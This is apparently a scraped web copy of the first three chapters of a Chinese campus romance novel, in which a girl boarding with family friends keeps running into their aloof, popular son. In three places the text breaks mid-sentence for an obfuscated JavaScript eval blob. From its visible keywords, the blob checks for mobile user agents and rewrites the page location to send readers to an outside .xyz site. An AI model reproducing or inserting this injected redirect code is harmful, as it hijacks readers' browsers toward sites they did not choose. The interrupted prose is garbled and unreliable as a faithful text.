《今天也想跟你告白》 1. 1 九月初，已入秋一个多月，气温却还有些燥热。 清晨时分，天色微亮，街上还没什么人，路口的早餐摊子已经开始忙活起来，大锅里盛着香浓的胡辣汤，旁边刚炸好的油条摆在竹篮里，冒着热气。 半空交错的电线上落了几只麻雀，叽叽喳喳的叫个不停。 窗帘紧闭的屋里，其他人还在沉睡，闵向栀从床上坐起，透过窗帘缝隙的光亮，她看了一眼闹钟。 刚过早上五点，时间还早，谭家的人都还没起床，她也不敢洗漱去，怕惊扰了其他人。 关掉闹钟的起床铃声，闵向栀下了床，她走到窗边的写字桌前，拉开了窗帘。 外头天色还有些昏暗，只有少许路灯的光亮笼在街头，闵向栀伸手扭开桌上的台灯，她掏出英文词典，开始背起了单词。 不知过了多久，屋外响起脚步声，许是有人起床了，闵向栀停下笔，她竖起耳朵听着外面的动静声。 从厨房传来流水的声响，还有燃气灶开火的声音，应该是谭姨起来做早餐了。 收拾好课本，闵向栀起身又合上了窗帘。 关上台灯，就着窗帘外的光亮，闵向栀换掉身上的睡衣，而后她随手绑了个马尾，便拿着洗漱用品走出了房间。 清晨的日光已经落进屋里，透过厨房的玻璃，落下一大片黄扑扑的光亮。 见许艺萍正在忙着做早餐，闵向栀走过去，乖巧的打了声招呼：“谭姨早。” 许艺萍转头，看到站在门口的闵向栀，她笑呵呵的应了一句：“诶，早啊，怎么不多睡会儿。” “不太困。”闵向栀小声回道。 “可能是认床的缘故，待几天就没事了。”燃气灶上做的开水响起鸣声，许艺萍伸手关掉了火灶。 转而看到闵向栀手上的洗漱用品，许艺萍又催促了一句：“快去洗脸吧，洗完出来吃早餐。” “嗯。”闵向栀转身朝洗手间走去。 许艺萍望着她乖巧的背影，笑了笑：这孩子可真乖。 拿着洗漱用品走进洗手间，闵向栀虚掩上门，她拧开水龙头，接了杯清水，开始刷牙。 外面很快响起许艺萍的声音：“知贤，快叫醒你弟弟，一块出来吃早餐。” 闵向栀停了下来，她含着满嘴的泡沫，听了下外面的动静。 没有回应。 两个哥哥应该还没起床吧。 对着镜子，将后面一排牙齿刷干净后，闵向栀拿起杯子，漱了漱口。 嘴里的泡沫还没漱干净，闵向栀只好就着杯口，又含了一口清水。 刚想要再漱口时，洗手间虚掩的门突然被人推了一下，门朝里慢悠悠的打开了。 “还没好么？”随之而来的是一个含糊的男声，懒懒散散的。 闵向栀心里一惊，她鼓着腮帮子，不禁偏头望了过去。 洗手间的门口，有个少年侧倚在门框上，他裸着上半身，锁骨间垂着一条白金项链，他单手插着兜，另一只手揉了揉他浅栗色的短发。 日光照过来，松松散散的落了他一身。 少年似是刚睡醒，睡眼惺忪，他光脚，只穿着一条黑色运动裤，腰间白色的细带松垮的垂下来，露出了印着字母的内裤边边。 似是还能隐约看到他坚实的腹肌。 “咕咚——”一下。 闵向栀不小心咽下了嘴里还有些泡沫的漱口水。 “……” “咳——咳——” 反应过来后，闵向栀趴在水池前连着咳了好几下，又连忙举起手中的杯子，仰头呼噜噜地漱了漱口。 可是。 没用了。 那口漱口水已经被她结结实实的咽进肚子里了。 呜呜呜。 靠在门边的谭卓言，被她的动静声彻底吵醒，他睁开惺忪的睡眼，刚望过去，却都还没来得及看清水池边的人，就被一件黑T恤蒙住了脑袋。 “穿上。”一个冷清的声音响起。 洗手间的门也跟着慢慢的合上了。 “我还以为老妈在里面。” “不是。” “那是谁？” “是老闵家的女儿向栀，你们小时候见过的。”许艺萍的声音跟着响起来，“前天向栀过来时，你们都没在家，昨晚你们飞机晚点，回来时我们又都睡了，等下刚好一起照个面。” …… 洗手间里，闵向栀弯着腰，双手掬着一捧温水，听完外面的对话，她突然噗的一下，将整张脸都埋进了手心的温水里。 唔。 不想出去。 不想打招呼。 她想遁地消失。 回到房间，抹完护肤品，闵向栀磨蹭了好一会儿，她才走出去。 许艺萍刚好从厨房里端出一盘热好的饺子，见闵向栀走了出来，便招呼了一句：“快来坐，尝尝这饺子，茴香肉馅的，你小时候可喜欢谭姨包的肉馅饺子了。” “嗯。”闵向栀乖乖的走过去，拉开一把椅子落座了下来。 不一会儿，谭家的两个兄弟也跟着走过来，分别落座到了闵向栀的对面。 许艺萍一边将盛好的白粥放到桌上，一边介绍道：“这是我们家老大谭知贤，旁边是老二谭卓言，小时候你们都见过的，不过自从你家人带你搬离江城后，就很久都没见过了。” 确实很久没见了，两个哥哥也都长成了陌生的模样，关于小时候的记忆，闵向栀也记不得多少了。 闵向栀乖巧的坐在那里，她双手搭在膝盖上，有些拘谨的望着谭知贤，小声招呼道：“哥哥好。” 谭知贤点头应了一声，他话不多，给人很冷清的样子。 余光瞥见旁边的谭卓言，脑海里突然闪现刚才洗手间的那一幕，闵向栀羞红了脸，害臊的不敢偏头看他。 刚好这时，许艺萍将一小碗饺子放到了她面前：“快趁热吃吧。” 闵向栀匆匆瞥了一眼谭卓言，声音细细小小道：“哥哥好。” 闻言，谭卓言微掀眼皮望了过去，对面的闵向栀低着头，也不看他，那模样仿佛在跟她面前的茴香肉馅的饺子打招呼。 许艺萍将一碗白粥放到了谭卓言的面前：“向栀转到了你们一中，等下你送妹妹上学。” 听到这话，原本在那里默默对着饺子的闵向栀，终于有了反应，她微坐直了身子。 那一下，像极了一只发呆的小猫，突然听到动静声变成了飞机耳。 谭卓言勾唇笑了下，没等闵向栀开口拒绝，他漫不经心的丢过去一句：“行，我送妹妹上学。” 许是早晨刚睡醒的缘故，他的声音还有些干哑，那一声妹妹含糊，又黏腻。 像是撒出来的蜂蜜一样，甜的发腻。 顺着他的声音望过去时，刚好跟他漫不经意的视线相对上，闵向栀攸地一下羞红了脸，她闷闷的低下头，什么都没再说了。 屋里的电话响起，许艺萍放下筷子，起身去接电话了。 餐桌这边，只剩下闵向栀跟谭家的两兄弟。 谭卓言拿起桌上的一盒牛奶，就着吸管，慢悠悠的喝了两三口，余光扫过对面，看到闵向栀小小的一只窝在那里。 许是有些拘谨，她吃东西时，也不好意思去拿别的，就闷着头，安静的吃着刚才许艺萍给她盛的一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717870|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粥，和小碗里的三个饺子。 桌上的鸡蛋和红薯，她都没好意思去拿。 对面的谭知贤拿起个鸡蛋，刚要准备递过去，就看到闵向栀放下了筷子：“我吃好了，两位哥哥慢慢吃。” 说完，闵向栀就起身离开了餐桌。 回到房间，收拾了下书包，差不多七点多时，闵向栀就跟着谭卓言出了门。 热闹的街市熙熙攘攘，阳光铺撒下来，落在谭卓言的身上，他个子很高，肩膀宽厚，一侧的肩膀挂着单肩包，双手插兜走路的样子散漫，而无谓。 看到他戴着耳机，闵向栀也不敢跟他搭话，就一路默默的跟在了他的身后。 周一的早上，公交车上的人有些多，上了车也没座位，闵向栀就跟着谭卓言站到了过道上。 车里的学生比较多，有几个女生穿着跟谭卓言一样的蓝白条纹的衬衫。 刚站稳，前面座位上的一个女生红着脸，抬头望着谭卓言唤了声：“学长？” 谭卓言戴着耳机，眉眼松散的望着窗外，完全没听到那女生唤他。 旁边的闵向栀伸手，扯了下谭卓言的衣角，他这才有所反应，偏头望向她那里，摘了一边的耳机：“有事？” 闵向栀小声道：“是前面的女生找你？” 谭卓言转头，低着眼睫，望向了那女生，却不说话。 看谭卓言朝这边望了过来，女生红着脸，兴奋的跟他搭话道：“学长，你要坐我这里么，我可以将位置让给你。” “不用。”谭卓言一边戴上耳机，一边回绝道。 虽然被拒绝了，那女生却还是激动的跟身边的朋友炫耀道：“学长跟我说话了，他跟我说话了！” 不仅那女生，车上几乎所有女生，在谭卓言上车后，目光便都集中在了他身上。 站在旁边的闵向栀，也被迫接受了那些投过来的目光，像是被顺便观光的猴子一样，不住的被人打量，惹得她浑身不自在。 恨不得下一站就下车。 闵向栀抓着座位后面的扶手，抬头看到车身上面张贴的行车路线，离江城的市一中还有好几站。 大概有，一，二，三…… 闵向栀仰着头，默默的在心里，一站一站的数着。 前面突然蹿出来一只野猫，司机踩了急刹车，车里一阵惊慌，站在过道的人，也由于惯性朝前倒去。 刹车来的太急，在那里数站牌的闵向栀都还来不及反应，身子跟着突然向前倒去时，她慌乱的抓住了旁边谭卓言的衣领。 混乱的车厢里，谭卓言身上蓝白衬衫一侧的衣领，被闵向栀扯得变了形，连带着里面的白T恤也被拉扯着，几近露出了他小半个肩膀。 一边的耳机也被她扯了下来，晃晃悠悠的搭在了他身前。 有些狼狈。 闵向栀紧忙松开了手，刚要张口道歉，就听到谭卓言没声没调的丢过来一句：“还想看？” “嗯，什么？”闵向栀没明白他想说什么。 公交车里已恢复如常，继续平稳的朝前行驶着，日光透过车窗，明明晃晃的落了进来。 谭卓言望着车窗外，少年眉眼清朗，侧脸的线条尤为的蛊惑人，日光斑驳了他一身，落在他好看的眉眼里，却也没拉扯出半点的温润。 少年狭长的眼尾卷着那么一点笑意，恣意，又勾人。 窗外的风景一闪而过，谭卓言懒懒散散的站在那里，他单手抓着车内的吊环，也不看闵向栀，只是伸手慢悠悠的将衣领拉扯了上来。 而后他故意靠近她，还压低了声音，仿佛在跟她讲悄悄话：“早上还没看够？” “……” 2. 2 前面的车窗半开着，有风不断从外面吹进来，夹着初秋的燥意。 耳边依然是喧嚣的嘈杂声，可谭卓言的那句话，闵向栀还是清楚的听到了。 那话听着过于暧昧，惹得闵向栀脸上一阵臊红，她抓着车座背的扶手，也不看谭卓言，只是闷着小脑袋跟他道歉：“我刚才不是故意的。” 话落，旁边的人却没什么动静，闵向栀始终低着脑袋，也不敢抬头看。 周边突然一阵骚乱。 几个小女生举着手机，叽叽喳喳的交头接耳道。 “拍到了么？” “拍了好几张呢，这大早上的，学长就给我们福利，也太幸福了吧。” “就算只露了小半个肩膀，可我看到学长的锁骨窝了，好性感！” “……” 她们真是。 有够添乱的。 瞧着旁边的人依旧没什么动静，闵向栀小心翼翼的偏头，瞥了一眼，谭卓言还悠然的站在那里，他已经戴好了耳机。 难怪刚才她的道歉，还有其他女生的起哄声，他都没听到。 看到有女生还举着手机拍过来，闵向栀干脆转身，移到了另一边的过道。 早上没怎么堵车，公交车一站一站的靠停，很快就停到了市一中的校门口。 车上的学生纷纷下了车。 闵向栀跟着前面的人下车时，她瞅了一眼快走到车门口的谭卓言的背影，看他身边的小女生注意力都还在他的身上，她就很想跟这个受欢迎的哥哥分开。 反正前一天许艺萍已经带她见过班主任了，她知道班级在哪里，自个就能过去。 闵向栀故意慢下来，让后面的人先下了车，透过车窗再望过去时，谭卓言已经朝着校门口走了过去。 周一的早上，校门口到处都是人。 跟在后面下车的闵向栀，一融入到上学的队伍中，她很快就跟谭卓言拉开了距离。 但她没穿校服，白色的上衣在一堆浅蓝色的校服里很是扎眼，走在前面的谭卓言几乎一回头，便从人群里认出了她。 “……” 闵向栀叹了口气，被他认出来，她也只能乖乖的走了过去：“哥哥。” 谭卓言单指绕着一边的耳机：“哪个班？” “高一六班。”闵向栀小声回道。 谭卓言没再说什么，只是转身朝着教学楼的方向走去，沉默的背影像是无声的在说，我送你过去。 闵向栀认命的跟了过去。 通往一中教学楼的道路上，两边种满了梧桐树，初秋的枝叶依然繁茂，树荫几近遮了大半的日光，一路走过去都很阴凉。 踏进教学楼，谭卓言朝着高一六班走过去时，还没走多远，忽觉肩上的背包带子被人从后面拉扯了下。 他随即停下，偏头望了过去。 闵向栀就站在他的身后，伸手抓着他背包的带子，小小圆润的脸蛋却一本正经的样子。 瞧着谭卓言转头，闵向栀松开她手里的带子：“哥哥送我到这里就可以了，不用送我到班里。” 谭卓言慢悠悠的转过了身，看闵向栀有些拘谨的样子，乖巧的跟个小学生似的，他不禁抿了下唇角，模样有些邪魅：“转校生不都是家长送过去的？” “……”你又不是我家长。 他这话莫名奇妙，但看他不正经的样子，像是在逗她。 就像刚才在公交车上逗她一样。 闵向栀微鼓了下泛红的脸颊：“谭姨前一天已经带我见过班主任了，我自己过去就行，不用……” 话还没说完，周边就响起了其他女生的议论声。 “那不是谭学长么，怎么在我们高一部？” “旁边的那个女生是谁呀，也没穿我们学校的校服，是不是外面学校的小妹妹闯进来，跟学长告白的。” “她胆子还挺大。” “……” 闵向栀的脸颊越来越热，像个煮熟的小螃蟹似的，红扑扑的。 站在她面前的谭卓言倒还是一副悠然的样子，他双手插兜，耳机已经摘下来，就那么随意的搭在了T恤的领口，白色的耳机线弯弯绕绕的垂在他胸前，他整个人也是松松垮垮的。 有女生跟他打招呼，他都没在意，也没在意刚才那些女生的闲言碎语，身边不断有来来往往的学生，他的视线却始终望着闵向栀，专注的模样。 仿佛是真的在认真听她告白似的。 “……” 闵向栀手指头抠着垂在她胸前的书包带子，她微吐了一口气，将刚才的话讲完，语气却有些急：“反正，不用哥哥送。” 讲完，闵向栀就闷头绕过谭卓言，朝前走去。 高一部教师的办公室在走廊尽头，闵向栀走到门口，打了个报告，进去后，她找到班主任刘春秀。 “刘老师，我过来报道。” 刘春秀正在收拾桌子，听见声音，她抬头望去，看到闵向栀一个人过来，不禁有些讶异：“你一个人过来的，家长没送你么？” “不是，我哥哥谭卓言送我来的，他也是一中的，前一天我阿姨已经见过您了。” 刘春秀带过谭卓言一年，对他这个尖子生印象深刻，也熟悉了他母亲许艺萍。 昨天许艺萍带闵向栀来学校认路时，刚好碰到从学校出来的刘春秀，她这个转校生就跟新班主任意外的提前见了一面。 也是那一面，刘春秀从许艺萍那里得知了，闵向栀因为父母都去了国外，所以现在就寄养在了谭家的事。 “哦，对。”刘春秀将手上的抹布丢到了一边。 她看起来差不多有四十多岁了，但皮肤却很有光泽，头发也浓密，短短的头发烫着卷，笑起来很亲切，总让闵向栀想起樱桃小丸子的妈妈。 看到旁边一摞新书，刘春秀又随口问道：“你新书还没领是吧？” “嗯，还没。” 刘春秀拍了拍那摞新书：“那正好，这有个请病假的学生还没来，新书你就先领走吧。” “谢谢刘老师。”闵向栀走过去，将新书装进了书包里，塞不下的，她就抱在了怀里。 “走吧，我带你去教室，给你安排一下座位。”刘春秀边朝门口走去，边接着讲道，“等会儿你把书包放到课桌上，就去操场对面的后勤处领一套校服，八点钟我们有升旗仪式。” “领完要是来不及换上，你就先套个校服外套。” 闵向栀安静的听完刘春秀的吩咐，她乖乖的应了一句：“好的，刘老师。” 跟着刘春秀走进教室，班上的同学基本上都已经到齐，在讲台上自我介绍之后，闵向栀就被安排在了靠窗的中间位置。 同桌是一个梳着两条小辫子的女生。 闵向栀落座后，那女生就很热情的跟她搭话道：“Hello呀，新同桌，我叫俞青玥，你以后叫我青玥，或者玥玥都行。” “好的，青玥。”闵向栀将书包塞进了课桌里。 俞青玥又扒头看了她一眼：“你长得好可爱，跟个洋娃娃似的。” 闵向栀腼腆的笑了下，没说话。 将领到的新书安置好，闵向栀站起了身：“我得去领一套校服去。” 俞青玥跟着起身，站到过道旁，给她让出了位置：“你知道去哪里领么？” “知道的，班主任已经跟我说了。”闵向栀低头从课桌间的空隙走了出去。 刚过七点半，学校里大部分学生都在早读，操场上也有些男生在打篮球。 还有几个高年级的男生正靠着单杠闲聊，谭卓言也在其中。 刚才朝楼上走去时，谭卓言就被他几个兄弟拉了过来，他们几个一向很混，很少上早读，奈何成绩好，老师也就睁一只眼闭一只眼了。 “周容瑄，下次能不能早点占地儿，马上升旗了，轮到我们，还能打多久？”尚熠伟等的有些不耐烦了，忍不住埋怨了一句。 周容瑄从口袋里掏出一包口香糖，给几个兄弟分了去：“兄弟们消消气，我真的老早就下来了。” 看他们几个剥了纸，将口香糖塞进嘴里，周容瑄才又贱兮兮道：“我就去了个厕所，拉了个大的，谁知道出来就没地儿了。” “……”操！ 有人立马吐掉了口香糖：“你洗手了没？” 周容瑄嘿嘿一笑：“逗你们呢，我刚就去外面吃了个早餐。” 抬头看到那边正倚着栏杆晒太阳的谭卓言，他只套了个校服的衬衫，扣子也只系了两三颗，松松散散的露着里面的白T恤，下面搭了条黑色的工装裤，侧边有两个大口袋，随便往那儿一站，都像是在拍广告。 周容瑄一边在心里惊叹这兄弟晒个太阳都他妈能闪瞎人眼的美貌，一边走过去，将最后一个口香糖递了过去：“卓哥，这是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身后的谭卓言还懒懒的倚着后面的蓝色横杆上，日光有些晒，他眼睑微耷拉着，视线漫不经心的望着那边的闵向栀。 看她本来好好的走着，见着他却突然停了下来，不知所措怔在那里的样子，像某种受了惊吓的小动物一样，蜷着毛绒绒的身体，怯怯的盯着他，进也不是，退也不是。 破天荒的，谭卓言的心里又生了逗弄之意。 白晃晃的日光里，谭卓言双手插着兜，吊儿郎当的样子，他边嚼着嘴里的口香糖，边朝旁边微侧了下下巴，示意闵向栀过来。 因他那一下，尚熠伟他们又齐刷刷的望向了另一边，就那么眼睁睁的，看着他们眼中纯白的小仙女一步步的走到了谭卓言的面前。 “哥哥。”闵向栀勾着手指，腼腆的唤了一声。 谭卓言懒洋洋的应了一声：“嗯，去干嘛？” “领校服。” 谭卓言偏头朝着操场那边示意了下：“在那边，第二个房间。” “哦，哥哥再见。”闵向栀乖巧的转身离开了。 见着闵向栀离开后，尚熠伟好不艳羡的蹭过去讨教道：“卓哥，教兄弟们两招。” 尚熠伟学着刚才谭卓言一边嚼口香糖，一边微侧下巴的样子：“你刚才怎么就这么一下，就把小仙女给勾过来了。” 谭卓言睨了他一眼，懒得理。 那张脸帅的惨绝人寰，却总是透着一股微死感，仿佛一句多余的话，一点多余的情绪都懒得给旁人。 见多了谭卓言这死样子，其他人也早就习惯了。 倒是一旁的周容瑄贫了一嘴：“伟哥，这学不来，卓哥这张脸，全世界的吻都想吻上来，而你这张脸，全世界的鞋底都想踩一脚。” 尚熠伟：“……” “哈哈哈哈哈哈，卧槽，你是会总结的！”其他兄弟一阵哄笑。 尚熠伟伸腿就踹了周容瑄的屁股一脚：“滚你丫的！” 谭卓言没理会身边的热闹，他微倾身，没打招呼的就往前走。 尚熠伟还没讨教完，紧忙唤他：“卓哥，去哪儿啊？” 前面的人也没回头，只是懒懒的丢过来一句：“小卖部。” 3. 3 还不到早上八点，太阳就已经晒得人快要融化。 领完校服，从后勤部的房间走出来时，闵向栀不禁朝单杠那边望了一眼，没看到谭卓言的身影，她轻呼了一口气。 穿过操场的绿荫，刚走进教学楼，迎面有两个男生吃着手里的煎饼果子走了过来，味道很香，闵向栀突然想起她早上吃的有些少，这会儿还真有些饿了。 从口袋里掏出手机，看了一眼，还有十来分钟就八点了。 时间有些紧，不够她去买些吃的了，只能等第一堂课下课再去了。 收起手机，闵向栀继续朝着班级走去时，还没穿过大堂，远远的就看到了谭卓言的身影，他正倚着一根柱子，低头看着手机。 “……” 怎么到哪里都能遇到这哥哥。 仿佛阴魂不散似的。 躲都躲不掉。 刚才已经跟谭卓言打过招呼了，闵向栀并不想再跟他照面。 几乎是下意识的转身，就要躲开谭卓言时，刚走出几步，身后忽地传来他的声音：“闵向栀。” 闵向栀攸地一下顿在了原地，她慢慢的转身，看到谭卓言正没什么表情的望着她这边：“过来。” 见躲不掉，闵向栀只好抬脚朝那边走了过去。 停到谭卓言的面前，闵向栀小声唤他：“哥哥，你不去上课么？”怎么哪里都有你呀。 谭卓言将手机塞进口袋里，就那么懒洋洋的倚着柱子，视线微凉，他没理会闵向栀的话，而是没声没调的反问了她一句：“跑什么，见着我就躲？” “……” 闵向栀抱紧怀里的校服，吞吞吐吐道：“没，没跑，我掉东西了。” 话落，对面的人没了动静，只是站在那里看着她。 学校的大堂有些背阴，很快就要升国旗了，已经有三三两两的学生朝着操场那边走去。 谭卓言倚着柱子，他微弯着一条腿，长指松散的勾着一个塑料袋，晦暗不明的光线里，他就那样望着闵向栀，也不说话，松散的眉眼里却透着一股玩味。 像个勾人的狐狸精，真怕他身后会突然长出个尾巴来。 闵向栀抱着校服站在谭卓言的对面，被他那样盯的心里有些发毛，她本来就不善于撒谎，这会儿脸颊臊红，终于败下阵来。 她垂下长长的眼睫，肩膀微塌，望着地上大理石细碎的花纹，很小声的讲了实话：“没有掉东西。”就是躲你呢。 谭卓言没应话，只是望着面前的闵向栀，不知是不是热的，她白皙的脸颊泛了红晕，额头处还有细碎的绒毛，垂着眼乖乖讲话时，粉扑扑的小脸，像是成熟的水蜜桃似的，让人禁不住想咬一口。 心里突然有些发痒，谭卓言微磨了下后牙槽，他伸手，将手上的东西递了过去：“回教室吧。” “哦。”闵向栀伸手接了过来。 余光中看到谭卓言离开，闵向栀才打开袋子看了一眼。 白色的塑料袋里，装着一个三明治，还有一罐热牛奶。 回到教室，闵向栀坐回自己的位置，一落座，同桌俞青玥就跟她说：“马上就要集合了，你是不是来不及换校服了？” “没事的，班主任刚才跟我说，来不及的话，披个外套也行。” 夏天的校服衬衫比闵向栀身上的尺码大一些，从袋子里拿出来，她就直接穿到了身上。 班里大部分同学都已经开始往外走了，系好衬衫的扣子，闵向栀就跟着俞青玥一起走出了教室。 “我听你的口音，不像是北方人，所以你从南方转过来的么？”朝前走时，俞青玥随口聊了起来。 闵向栀紧跟着俞青玥：“嗯，不过我是在北方出生的，很小的时候才跟着父母去了南方。” “哦，难怪，那你现在是跟着父母又回到北方了么？” “没，我爸妈被派去国外了，我还在上学，没办法跟着过去，就被寄养在了一个熟悉的叔叔那里。”闵向栀解释了一句。 闵向栀的父母本来在同一家公司，属于不同的部分，但这次国外有个项目需要两个团队合作完成，这才一起被派到了国外。 升旗仪式结束后，再回到教室，第一堂课的语文老师已经等在了讲台。 等班里的同学都到齐后，语文老师走下去，关上了门：“好了，都坐好，上课之前我先坐下自我介绍。” 重新走上讲台，语文老师拿起一根粉笔，转身在黑板上开始写她的名字。 教室里安静极了。 大半的日光晒进来，有些晃眼，前排的同学拉过窗帘，回头看了一眼闵向栀。 她微起身，帮忙拉过窗帘，遮了白晃晃的日光。 窗外不时传来小鸟的叫声，混着粉笔落在黑板上的唰唰声，除此之外便没了其他声响。 一堂课结束之后，教室里才又一下子乱哄哄的。 俞青玥边将语文课本收进课桌里，边问旁边的闵向栀：“我要去趟小卖部，你有什么东西要买的么？” 闵向栀停下手里的笔：“不用了，谢谢。” 整理好第一堂课的笔记，闵向栀从课桌里掏出刚才谭卓言给她买的早餐，趁这会儿工夫，她看了眼手机。 屏幕上有新的微信消息。 闵向栀解锁手机，点进微信看了下，是许艺萍将她的微信号推给了两个哥哥。 她轻点屏幕，加了两个哥哥的好友，刚打完招呼，就看到谭知贤给她发来个红包。 ——在学校里有什么想吃的，可以自己买一些。 闵向栀捧着手机，她瞥了一眼白色塑料袋里的三明治，而后回了谭知贤一句：谢谢贤哥哥，我这边有吃的了。 那个红包闵向栀自然也没领取。 将手机塞回书包里，闵向栀拿出三明治，撕开塑封包装，她咬了一口，里面的夹心是咸咸的芝士，还挺好吃。 就着那罐牛奶，吃完三明治，就差不多该上第二堂课了。 上午课程紧，时间过得也快，最后一堂课结束时，转眼就到了中午。 放学后，刚收拾好书包，闵向栀就收到了许艺萍发来的信息：向栀啊，阿姨的便利店最近忙着进货，中午没空回家，你跟二哥就在学校的食堂吃午餐吧。 闵向栀：好的，谭姨，您忙吧，我能顾好我自己的。 屏幕上方冒出来新的消息，是谭卓言发过来的：在食堂的南门等我。 闵向栀捧着手机，正犹豫着回复时，忽然听到后面传来一个女生的惊叫声。 “你们快打开我们的校外论坛，有人在灌水区，上传了几张谭学长的照片，还露了锁骨呢。” “……” 是早上坐公交车拍到的照片么。 不会连她也拍到了吧。 都顾不上再回复谭卓言的信息，闵向栀退出微信，就打开了一中的校外论坛。 那个帖子已经被评论顶到了热一，在灌水区很显眼。 闵向栀咬着唇，点开了那个帖子。 照片里果然有她的身影，不过已经打了码，被一只硕大的猫猫头，几近遮了她大半个身子，完全看不出来是她。 只漏出了一截白白的细手臂，还抓着谭卓言的衣领。 划过那几张照片，底下就是热门评论。 ——这个女生是谁呀，这么近距离接触到学长，羡慕嫉妒恨！ ——啊啊啊，我要跟这个女生握手，合照！我要间接跟学长亲密接触！ “……” 这哥哥受欢迎的程度比想象中。 还要吓人呢。 闵向栀默默的将页面又切换到微信，回复了谭卓言刚才的信息：哥哥，午餐我要跟同学一起吃，你不用管我了，哥哥午休愉快。 谭卓言很快回了她：行，知道了。 读完谭卓言的那条回复，闵向栀松了口气，她终于可以轻轻松松的吃顿午餐了。 去食堂办了张饭卡，闵向栀买了份鱼香肉丝的盖饭，吃过午餐，她就去学校外面逛了一圈，买了些漂亮的书纸，还在路边的小摊子上，买了个手拎式的编织袋，用来装她的新书，还有校服。 中午越来越热，日光晒得柏油马路白花花的一片，下午的时光，也几乎都浸润在了这迷幻的日光里。 恍恍惚惚的转眼而过。 高一新生没有晚自习，傍晚六点多放学时，整个一层都乱哄哄的。 闵向栀将一多半新书，还有校服一并都塞进了编织袋里，刚刚好都能装下。 看她的编织袋里装了那么多东西，俞青玥主动问她：“好像很重的样子，要不要我帮你一起拎呀？” “没事的，我拎的动。”闵向栀背上了书包。 她书包里也装了一些书，刚好减轻了些手上的重量。 离开学校，在公交站等车的工夫，闵向栀跟许艺萍发信息报备了一声，说她没晚自习，就一个人先回家了。 乘公交车回到住的小区，天色还亮着，小区外的长乐街还跟早上时一样的热闹，街上人来人往，路边也到处都是各种小摊贩。 穿过长乐街，刚走进小区，闵向栀就接到了许艺萍打来的电话：“向栀啊，你是不是快到家了？” 闵向栀单手握着手机：“到了，我刚进小区。” “阿姨这边突然有事，傍晚这会儿回不去了，你在外面吃些东西，然后就回家吧，记得锁好门啊。”电话那边的许艺萍嘱托了一句。 闵向栀微点头：“好，我知道了，谭姨忙吧。” 挂断电话，闵向栀拎着手里的编织袋，想着先把这些新书送回去，再去外面吃些东西。 可到了门口，闵向栀才发现她忘记带钥匙了。 许艺萍不知何时回来，谭知贤在同城上大学，估计也很少回家，闵向栀只能先去外面吃些东西，再返回学校，跟谭卓言拿钥匙了。 正值晚饭时间，路边的小店里几乎坐满了人，闵向栀背着书包朝前走了一段路，看到斜对面有家711便利店，里面几乎没什么人。 闵向栀径直穿过马路，走进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717872|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那家便利店。 挑了个海苔炸鸡饭团，还有几串关东煮，一瓶草莓酸奶，结完账，闵向栀就单手抱着那些吃的，坐到了店里落地窗前的位置上。 外面天色还亮着，大片夕阳透过落地窗晒进来，金灿灿的有些晃眼，吃完那个饭团，闵向栀掏出手机，给谭卓言发了个微信：哥哥，你们几点上晚自习？ 信息发过去，等了半分多钟，谭卓言那边都没回复，闵向栀将手机放到了一边。 身后传来店门口欢迎光临的女声，闵向栀没在意，她拿起桌边的草莓酸奶，就着吸管喝了一两口。 旁边忽地有人坐下，那么多空位，偏偏挨着闵向栀的位置，坐的有些近，她不禁偏头望了过去。 微晃眼的夕阳里，谭卓言不落声的坐在那里，他随手拿起一串鱼丸，旁若无人的在杯口空了下汤汁。 “哥哥，你怎么在这里，高三不是有晚自习么？”闵向栀不禁问了一句。 谭卓言单肘撑桌，他长指捏着那串鱼丸，模样松松散散道：“不想上，就回来了。” “哦。”闵向栀应了一声。 吃完那串鱼丸，谭卓言问她：“你呢，怎么不回家？” “我忘记带钥匙了，想在这里吃些东西，再去学校找你。”闵向栀乖乖巧巧的回了一句。 “还有什么想吃的？” “不吃了，我刚才已经吃过一个饭团了。” 谭卓言起身，将背包放到桌上，他走过去，随手从旁边的架子上拿了碗泡面：“在这里等我，我泡个面。” 说完，谭卓言拿着那碗泡面转身去结账了。 闵向栀乖乖的坐在那里。 不大一会儿，谭卓言端着加了热水的泡面，返回来，又坐到了她旁边的位置。 座位是横排的，对着落地窗，不用面对面坐着，闵向栀倒也没那么局促了，她安安静静的就着关东煮的杯子，吃起了已经泡的很软糯的白萝卜。 “那个小哥哥好帅呀，就刚才买泡面那个。” “看到了，要不是穿着校服，我以为是哪个明星来咱们店里了呢。” 后面传来了两个店员的对话声，声音小，可还是能听到。 这一听，就知道是在讨论谭卓言呢。 “旁边那个穿校服的小妹妹也好可爱呀，是那小帅哥的女朋友吧，俩人还挺般配的。” “……” 白萝卜吃完了，闵向栀咬着木签，一动不动的坐在那里。 后面店员的话又跟着传来：“你看两个人坐在那里就很甜蜜的样子，好羡慕啊，从校园到婚纱，想想都浪漫死了。” “……” 唔。 不是。 没谈恋爱。 也不会穿婚纱。 